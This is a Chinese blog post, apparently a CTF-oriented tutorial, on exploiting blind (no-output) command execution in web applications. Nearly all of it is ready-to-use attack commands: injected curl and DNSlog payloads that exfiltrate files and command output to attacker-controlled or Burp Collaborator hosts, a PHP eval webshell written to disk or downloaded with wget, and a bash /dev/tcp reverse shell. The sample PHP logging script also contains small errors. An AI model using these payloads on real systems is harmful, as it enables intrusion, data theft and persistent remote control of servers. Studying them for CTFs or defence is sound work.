无回显的渗透技巧

一、命令执行判断

命令执行可能会存在命令执行完没有回显,可以通过三种方式来判断:延时、HTTP延时、DNS请求。

1、延时

1)通过使用sleep()函数,即是否延时来判断该命令是否有执行,有延时则代表有执行。类似的函数还有

benchmark(count,expr) 和getlock(str,time)。

2)windows下并没有sleep命令,可以通过回环ping来达到强制延时的效果。Linux下同样试用,而且还可以通过ping命令在不同环境下的执行方式来判断目标的操作系统类型。

ping -n 3 127.0.0.1
ping -n 4 127.0.0.1

2、HTTP请求

目标服务器向个人的公网服务器发起http请求,当该公网服务器收到http请求就代表命令有执行。
举个例子捏:
个人的公网服务器使用 nc -lvp 7777 开始监听;
目标服务器使用 curl 公网机ip:端口号
可以看到公网服务器的该端口有http请求。(注:ping命令不产生http请求

3、DNS请求

如果请求的目标不是ip地址而是域名,那么域名最终还要转化成ip地址,就肯定要做一次域名解析请求。假设有一个可控的二级域名,那么当它发出三级域名解析的时候,就会记录它的域名解析请求。所以配合DNS请求也可以进行命令执行的判断,这一般称为dnslog。(要通过dns请求既可通过ping命令,也能通过curl命令,只要对域名进行访问,让域名服务器进行域名解析就可实现。)

继续举个栗子:

1)打开dnslog.cn获得一个域名,访问777.cf1gbs.dnslog.cn,就会记录下来这个域名解析请求。

2)简单测试一下向目标服务器发起http请求,执行下面的命令

ip=|curl `whoami`.cf1gbs.dnslog.cn

查看dnslog。

二、无回显代码执行

1、执行命令(需要站点目录具有写权限)

通过执行命令,直接将php文件写入到在浏览器可直接读取的文件类型中(如txt文件),然后访问txt文件即可得到php文件内容

1)使用 cp 命令直接得到文件内容

cp flag.php 1.txt

2)使用 mv 命令

mv flag.php flag.txt

3)使用 > 或者 >>

cat flag.php > flag.txt
cat flag.php >> flag.txt

4)使用tar

tar cvf flag.tar flag.php  # 打包flag.php为flag.tar
tar zcvf flag.tar.gz flag.php  # 压缩flag.php为flag.tar.gz
# 解压缩:tar zxvf flag.tar.gz

5)使用zip

zip flag.zip flag.php
#解压缩:unzip flag.zip

2、直接写入或外部下载webshell

1)直接写入(需要站点目录具有写权限)

echo "<?php @eval(\$_POST[123]); ?>" > webshell.php

2)外部下载(目标服务器可以连接外网或可以与攻击机互通,且能执行wget命令)

wget 攻击机ip -O webshell.php 
#使用wget下载shell,使用参数-O来指定一个文件名

3、在vps上建立记录脚本

当目标服务器可以向公网服务器发起http请求,并且能执行curl命令或wget命令

1)在个人公网服务器的根目录构造一个记录脚本:7.php 。

#7.php
<?php
header("Content-type:text/html; charest=utf-8");
highlight_file(_FILE_);
include("flag.php");

$ip=$_REQUEST['ip'];
if($ip)
{
        shell_exec("ping -c 4".$ip);
}
?>

2)在目标服务器的测试点发送任意一条请求进行测试,将获得的flag进行base64解码即可。

curl http://*.*.*.**/7.php?data=`cat flag.php|base64`
wget http://*.*.*.*/7.php?data=`cat flag.php|base64`

4、DNSLOG获取回显

1)命令执行时要避免空格,空格会导致空格后面的命令执行不到;
2)将读取的文件命令用反引号``包含起来;
3)拼接的域名有长度限制。

curl `命令`.域名

举个例子:

#用<替换读取文件中的空格,且对输出结果base64编码,然后拼接域名
curl `cat<flag.php|base64`.cf1gbs.dnslog.cn
#另一种方法
curl `cat flag.php|sed s/[[:space:]]//`.cf1gbs.dnslog.cn

5、反弹shell

反弹shell,就是攻击机监听在某个TCP/UDP端口为服务端,目标机主动发起请求到攻击机监听的端口,并将其命令行的输入输出转到攻击机。

1)个人的公网服务器开启端口监听

nc -lvp 777

2)目标服务器执行命令

bash -i >& /dev/tcp/公网机ip/端口号 0>&1

6、curl上传文件读取源码

使用 curl -F 将flag文件上传到Burp的Collaborator Client。这是一个类似httpslog+dnslog的插件,其功能比dnslog强大,可以不用搭建任何环境去监听dns和http请求,也可以很方便的查看post请求包和cookie等。

拼接payload并在命令执行处提交即可查看Collaborator Client收到的数据。

ip=|curl -X POST -F xx=@flag.php http://bn2cqaribbwg0qo2ungjlm29i0oqcf.burpcollaborator.net

 

Referer

浅谈PHP无回显命令执行的利用

无回显条件下的命令执行判断和利用方式研究

命令执行无回显的判断方法及dnslog相关例题

 
 
 
posted @ 2022-03-14 17:07  kinyoobi  阅读(1454)  评论(0编辑  收藏  举报